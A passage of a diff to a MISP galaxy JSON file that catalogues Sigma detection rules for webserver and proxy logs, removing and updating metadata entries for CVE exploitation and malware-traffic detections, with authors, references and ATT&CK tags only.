- "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/tangxiaofeng7/apache-log4j-poc", - "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", - "https://github.com/YfryTchsGD/Log4jAttackSurface", - "https://www.lunasec.io/docs/blog/log4j-zero-day/", - "https://twitter.com/shutingrz/status/1469255861394866177?s=21", - "https://news.ycombinator.com/item?id=29504755", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_44228_log4j.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "5ea8faa8-db8b-45be-89b0-151b84c82702", - "value": "Log4j RCE CVE-2021-44228 Generic" - }, - { - "description": "Detects potential exploitation attempts that target the Centos Web Panel 7 Unauthenticated Remote Code Execution CVE-2022-44877", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/20", - "falsepositive": [ - "Web vulnerability scanners" - ], - "filename": "web_cve_2022_44877_exploitation_attempt.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://seclists.org/fulldisclosure/2023/Jan/1", - "https://www.rapid7.com/blog/post/2023/01/19/etr-exploitation-of-control-web-panel-cve-2022-44877/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2022_44877_exploitation_attempt.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2022.44877" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "1b2eeb27-949b-4704-8bfa-d8e5cfa045a1", - "value": "Potential Centos Web Panel Exploitation Attempt - CVE-2022-44877" - }, - { - "description": "Detects the exploitation of the Confluence vulnerability described in CVE-2019-3398", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/05/26", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2019_3398_confluence.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2019_3398_confluence.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "e9bc39ae-978a-4e49-91ab-5bd481fc668b", - "value": "Confluence Exploitation CVE-2019-3398" - }, - { - "description": "Detects the exploitation of Microsoft Exchange ProxyToken vulnerability as described in CVE-2021-33766", - "meta": { - "author": "Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_33766_msexchange_proxytoken.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_33766_msexchange_proxytoken.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "56973b50-3382-4b56-bdf5-f51a3183797a", - "value": "CVE-2021-33766 Exchange ProxyToken Exploitation" - }, - { - "description": "Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091.", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/08/24", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_20090_2021_20091_arcadyan_router_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild", - "https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2", - "https://www.tenable.com/security/research/tra-2021-13", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_20090_2021_20091_arcadyan_router_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2021.20090", - "cve.2021.20091" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "f0500377-bc70-425d-ac8c-e956cd906871", - "value": "Arcadyan Router Exploitations" - }, - { - "description": "Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/01/25", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2020_28188_terramaster_rce_exploit.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/", - "https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2020_28188_terramaster_rce_exploit.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "cve.2020.28188" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "15c312b9-00d0-4feb-8870-7d940a4bdc5e", - "value": "TerraMaster TOS CVE-2020-28188" - }, - { - "description": "Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts", - "meta": { - "author": "Bhabesh Raj, Tim Shelton", - "creation_date": "2020/12/27", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2020_10148_solarwinds_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://kb.cert.org/vuls/id/843464", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2020_10148_solarwinds_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "5a35116f-43bc-4901-b62d-ef131f42a9af", - "value": "CVE-2020-10148 SolarWinds Orion API Auth Bypass" - }, - { - "description": "Detects potential exploitation attempts of CVE-2022-21587 an arbitrary file upload vulnerability impacting Oracle E-Business Suite (EBS). CVE-2022-21587 can lead to unauthenticated remote code execution.", - "meta": { - "author": "Isa Almannaei", - "creation_date": "2023/02/13", - "falsepositive": [ - "Vulnerability Scanners" - ], - "filename": "web_cve_2022_21587_oracle_ebs.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.rapid7.com/blog/post/2023/02/07/etr-cve-2022-21587-rapid7-observed-exploitation-of-oracle-e-business-suite-vulnerability/", - "https://github.com/hieuminhnv/CVE-2022-21587-POC", - "https://attackerkb.com/topics/Bkij5kK1qK/cve-2022-21587/rapid7-analysis", - "https://blog.viettelcybersecurity.com/cve-2022-21587-oracle-e-business-suite-unauth-rce/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2022_21587_oracle_ebs.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2022.21587" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "d033cb8a-8669-4a8e-a974-48d4185a8503", - "value": "Potential CVE-2022-21587 Exploitation Attempt" - }, - { - "description": "Detects exploitation attempts using file upload vulnerability CVE-2021-22005 in the VMWare vCenter Server.", - "meta": { - "author": "Sittikorn S", - "creation_date": "2021/09/24", - "falsepositive": [ - "Vulnerability Scanning" - ], - "filename": "web_cve_2021_22005_vmware_file_upload.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.tenable.com/blog/cve-2021-22005-critical-file-upload-vulnerability-in-vmware-vcenter-server", - "https://kb.vmware.com/s/article/85717", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_22005_vmware_file_upload.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "b014ea07-8ea0-4859-b517-50a4e5b7ecec", - "value": "VMware vCenter Server File Upload CVE-2021-22005" - }, - { - "description": "Detects exploitation of flaw in path normalization in Apache HTTP server 2.4.49.\nAn attacker could use a path traversal attack to map URLs to files outside the expected document root.\nIf files outside of the document root are not protected by \"require all denied\" these requests can succeed.\nAdditionally this flaw could leak the source of interpreted files like CGI scripts.\nThis issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.\n", - "meta": { - "author": "daffainfo, Florian Roth", - "creation_date": "2021/10/05", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_41773_apache_path_traversal.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://nvd.nist.gov/vuln/detail/CVE-2021-41773", - "https://twitter.com/bl4sty/status/1445462677824761878", - "https://twitter.com/ptswarm/status/1445376079548624899", - "https://twitter.com/h4x0r_dz/status/1445401960371429381", - "https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782", - "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/cves/2021/CVE-2021-41773.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_41773_apache_path_traversal.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "3007fec6-e761-4319-91af-e32e20ac43f5", - "value": "CVE-2021-41773 Exploitation Attempt" - }, - { - "description": "Detects attempts to exploit a Rejetto HTTP File Server (HFS) via CVE-2014-6287", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/19", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2014_6287_hfs_rce.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://vk9-sec.com/hfs-code-execution-cve-2014-6287/", - "https://github.com/Twigonometry/Cybersecurity-Notes/blob/c875b0f52df7d2c7a870e75e1f0c2679d417931d/Writeups/Hack%20the%20Box/Boxes/Optimum/10%20-%20Website.md", - "https://www.exploit-db.com/exploits/39161", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2014_6287_hfs_rce.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.t1505.003", - "cve.2014.6287" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "a133193c-2daa-4a29-8022-018695fcf0ae", - "value": "Rejetto HTTP File Server RCE" - }, { "description": "When IIS uses an old .Net Framework it's possible to enumerate folders with the symbol \"~\"", "meta": { @@ -86599,9 +81651,9 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://www.exploit-db.com/exploits/19525", "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/fuzzing/iis-shortname.yaml", "https://github.com/lijiejie/IIS_shortname_Scanner", + "https://www.exploit-db.com/exploits/19525", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_iis_tilt_shortname_scan.yml" ], "tags": [ @@ -86621,128 +81673,6 @@ "uuid": "7cb02516-6d95-4ffc-8eee-162075e111ac", "value": "Successful IIS Shortname Fuzzing Scan" }, - { - "description": "Detects the exploitation of VMware Workspace ONE Access Authentication Bypass vulnerability as described in CVE-2022-31656\nVMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users.\nA malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.\n", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/12", - "falsepositive": [ - "Vulnerability scanners" - ], - "filename": "web_cve_2022_31656_auth_bypass.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2022_31656_auth_bypass.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "fcf1101d-07c9-49b2-ad81-7e421ff96d80", - "value": "CVE-2022-31656 VMware Workspace ONE Access Auth Bypass" - }, - { - "description": "Detects exploitation attempts on Cisco ASA FTD systems exploiting CVE-2020-3452 with a status code of 200 (sccessful exploitation)", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/01/07", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2020_3452_cisco_asa_ftd.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://twitter.com/aboul3la/status/1286012324722155525", - "https://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2020_3452_cisco_asa_ftd.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "cve.2020.3452" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "aba47adc-4847-4970-95c1-61dce62a8b29", - "value": "Cisco ASA FTD Exploit CVE-2020-3452" - }, - { - "description": "Detects suspicious access to URLs that was noticed in cases in which attackers exploitated the ADSelfService vulnerability CVE-2021-40539", - "meta": { - "author": "Tobias Michalski (Nextron Systems), Max Altgelt (Nextron Systems)", - "creation_date": "2021/09/20", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_40539_adselfservice.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://us-cert.cisa.gov/ncas/alerts/aa21-259a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_40539_adselfservice.yml" - ], - "tags": "No established tags" - }, - "uuid": "6702b13c-e421-44cc-ab33-42cc25570f11", - "value": "ADSelfService Exploitation" - }, - { - "description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/02/29", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2020_0688_msexchange.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2020_0688_msexchange.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "fce2c2e2-0fb5-41ab-a14c-5391e1fd70a5", - "value": "CVE-2020-0688 Exchange Exploitation via Web Log" - }, { "description": "Detects suspicious windows strins in URI which could indicate possible exfiltration or webshell communication", "meta": { @@ -86777,76 +81707,6 @@ "uuid": "9f6a34b4-2688-4eb7-a7f5-e39fef573d0e", "value": "Suspicious Windows Strings In URI" }, - { - "description": "Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack", - "meta": { - "author": "Arnim Rupp, Florian Roth", - "creation_date": "2020/01/02", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2019_19781_citrix_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://support.citrix.com/article/CTX267027", - "https://support.citrix.com/article/CTX267679", - "https://twitter.com/mpgn_x64/status/1216787131210829826", - "https://github.com/x1sec/CVE-2019-19781/blob/25f7ab97275b2d41800bb3414dac8ca3a78af7e5/CVE-2019-19781-DFIR.md", - "https://isc.sans.edu/diary/25686", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2019_19781_citrix_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "ac5a6409-8c89-44c2-8d64-668c29a2d756", - "value": "Citrix Netscaler Attack CVE-2019-19781" - }, - { - "description": "Detects CVE-2020-0688 Exploitation attempts", - "meta": { - "author": "NVISO", - "creation_date": "2020/02/27", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2020_0688_exchange_exploit.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/Ridter/cve-2020-0688", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2020_0688_exchange_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "7c64e577-d72e-4c3d-9d75-8de6d1f9146a", - "value": "CVE-2020-0688 Exploitation Attempt" - }, { "description": "Detects SSTI attempts sent via GET requests in access logs", "meta": { @@ -86870,71 +81730,6 @@ "uuid": "ada3bc4f-f0fd-42b9-ba91-e105e8af7342", "value": "Server Side Template Injection Strings" }, - { - "description": "When exploiting this vulnerability with CVE-2021-26858, an SSRF attack is used to manipulate virtual directories", - "meta": { - "author": "frack113", - "creation_date": "2021/08/10", - "falsepositive": [ - "Unlikely" - ], - "filename": "web_cve_2021_26858_iis_rce.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_26858_iis_rce.yml" - ], - "tags": "No established tags" - }, - "uuid": "effee1f6-a932-4297-a81f-acb44064fa3a", - "value": "ProxyLogon Reset Virtual Directories Based On IIS Log" - }, - { - "description": "Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539).", - "meta": { - "author": "Sittikorn S, Nuttakorn Tungpoonsup", - "creation_date": "2021/09/10", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_40539_manageengine_adselfservice_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://therecord.media/cisa-warns-of-zoho-server-zero-day-exploited-in-the-wild/", - "https://us-cert.cisa.gov/ncas/alerts/aa21-259a", - "https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_40539_manageengine_adselfservice_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.persistence", - "attack.t1505.003" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "fcbb4a77-f368-4945-b046-4499a1da69d1", - "value": "CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit" - }, { "description": "Detects suspicious user agent strings used in APT malware in proxy logs", "meta": { @@ -86969,19 +81764,20 @@ "value": "APT User Agent" }, { - "description": "Detects suspicious User Agent strings that end with an equal sign, which can be a sign of base64 encoded values used as User Agent string", + "description": "Detects User Agent strings that end with an equal sign, which can be a sign of base64 encoding.", "meta": { - "author": "Florian Roth (Nextron Systems)", + "author": "Florian Roth (Nextron Systems), Brian Ingram (update)", "creation_date": "2022/07/08", "falsepositive": [ "Unknown" ], "filename": "proxy_ua_susp_base64.yml", - "level": "high", + "level": "medium", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://blogs.jpcert.or.jp/en/2022/07/yamabot.html", + "https://deviceatlas.com/blog/list-of-user-agent-strings#desktop", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_susp_base64.yml" ], "tags": [ @@ -86999,7 +81795,7 @@ } ], "uuid": "894a8613-cf12-48b3-8e57-9085f54aa0c3", - "value": "Suspicious Base64 User Agent" + "value": "Potential Base64 Encoded User-Agent" }, { "description": "Detects user agent and URI paths used by empire agents", @@ -87048,8 +81844,8 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://twitter.com/jhencinski/status/1102695118455349248", "https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281/", + "https://twitter.com/jhencinski/status/1102695118455349248", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_bitsadmin_susp_tld.yml" ], "tags": [ @@ -87161,8 +81957,8 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://twitter.com/purp1ew0lf/status/1602989967776808961?s=12&t=OkZJl_ViICeiftVEsohRyw", "https://www.rapid7.com/blog/post/2022/12/21/cve-2022-41080-cve-2022-41082-rapid7-observed-exploitation-of-owassrf-in-exchange-for-rce/", + "https://twitter.com/purp1ew0lf/status/1602989967776808961?s=12&t=OkZJl_ViICeiftVEsohRyw", "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_exchange_owassrf_poc_exploitation.yml" ], @@ -87373,9 +82169,9 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ + "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", - "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_telegram_api.yml" ], "tags": [ @@ -87466,14 +82262,14 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://www.bluecoat.com/en-gb/security-blog/2015-05-05/know-your-agents", "http://www.botopedia.org/search?searchword=scan&searchphrase=all", - "https://twitter.com/kladblokje_88/status/1614673320124743681?s=12&t=joEpeVa5d58aHYNGA_To7Q", - "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", "https://networkraptor.blogspot.com/2015/01/user-agent-strings.html", - "https://pbs.twimg.com/media/FtYbfsDXoAQ1Y8M?format=jpg&name=large", + "https://www.bluecoat.com/en-gb/security-blog/2015-05-05/know-your-agents", "https://twitter.com/crep1x/status/1635034100213112833", + "https://pbs.twimg.com/media/FtYbfsDXoAQ1Y8M?format=jpg&name=large", + "https://twitter.com/kladblokje_88/status/1614673320124743681?s=12&t=joEpeVa5d58aHYNGA_To7Q", "https://perishablepress.com/blacklist/ua-2013.txt", + "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_malware.yml" ], "tags": [ @@ -87506,9 +82302,9 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://isc.sans.edu/diary/IPFS%20phishing%20and%20the%20need%20for%20correctly%20set%20HTTP%20security%20headers/29638", "https://blog.talosintelligence.com/ipfs-abuse/", "https://github.com/Cisco-Talos/IOCs/tree/80caca039988252fbb3f27a2e89c2f2917f582e0/2022/11", + "https://isc.sans.edu/diary/IPFS%20phishing%20and%20the%20need%20for%20correctly%20set%20HTTP%20security%20headers/29638", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_susp_ipfs_cred_harvest.yml" ], "tags": [ @@ -87584,8 +82380,8 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://rclone.org/", "https://www.kroll.com/en/insights/publications/cyber/new-m365-business-email-compromise-attacks-with-rclone", + "https://rclone.org/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_rclone.yml" ], "tags": [ @@ -87639,29 +82435,6 @@ "uuid": "1ddf4596-1908-43c9-add2-1d2c2fcc4797", "value": "Potential OWASSRF Exploitation Attempt - Proxy" }, - { - "description": "Detects potential beaconing activity to domains related to 3CX 3CXDesktopApp compromise", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/29", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_malware_3cx_compromise_c2_beacon_activity.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_malware_3cx_compromise_c2_beacon_activity.yml" - ], - "tags": [ - "attack.command_and_control" - ] - }, - "uuid": "3c4b3bbf-36b4-470c-b6cf-f07e8b1c7e26", - "value": "Potential Compromised 3CXDesktopApp Beaconing Activity - Proxy" - }, { "description": "Detects suspicious user agent strings used by crypto miners in proxy logs", "meta": { @@ -87796,30 +82569,6 @@ "uuid": "e06ac91d-b9e6-443d-8e5b-af749e7aa6b6", "value": "iOS Implant URL Pattern" }, - { - "description": "Detects potential malicious .ICO files download from a compromised 3CXDesktopApp via web requests to the the malicious Github repository", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/31", - "falsepositive": [ - "Unknown" - ], - "filename": "proxy_malware_3cx_compromise_susp_ico_requests.yml", - "level": "high", - "logsource.category": "proxy", - "logsource.product": "No established product", - "refs": [ - "https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/", - "https://www.linkedin.com/feed/update/urn:li:activity:7047435754834198529/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_malware_3cx_compromise_susp_ico_requests.yml" - ], - "tags": [ - "attack.command_and_control" - ] - }, - "uuid": "76bc1601-9546-4b75-9419-06e0e8d10651", - "value": "Potential Compromised 3CXDesktopApp ICO C2 File Download" - }, { "description": "Detects different malformed user agents used in Malleable Profiles used with Cobalt Strike", "meta": { @@ -87917,8 +82666,8 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://www.advanced-ip-scanner.com/", "https://www.advanced-port-scanner.com/", + "https://www.advanced-ip-scanner.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_adv_ip_port_scanner_upd_check.yml" ], "tags": [ @@ -87938,6 +82687,39 @@ "uuid": "1a9bb21a-1bb5-42d7-aa05-3219c7c8f47d", "value": "Advanced IP/Port Scanner Update Check" }, + { + "description": "Detects suspicious encoded User-Agent strings, as seen used by some malware.", + "meta": { + "author": "Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2023/05/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proxy_ua_base64_encoded.yml", + "level": "medium", + "logsource.category": "proxy", + "logsource.product": "No established product", + "refs": [ + "https://deviceatlas.com/blog/list-of-user-agent-strings#desktop", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_base64_encoded.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ] + }, + 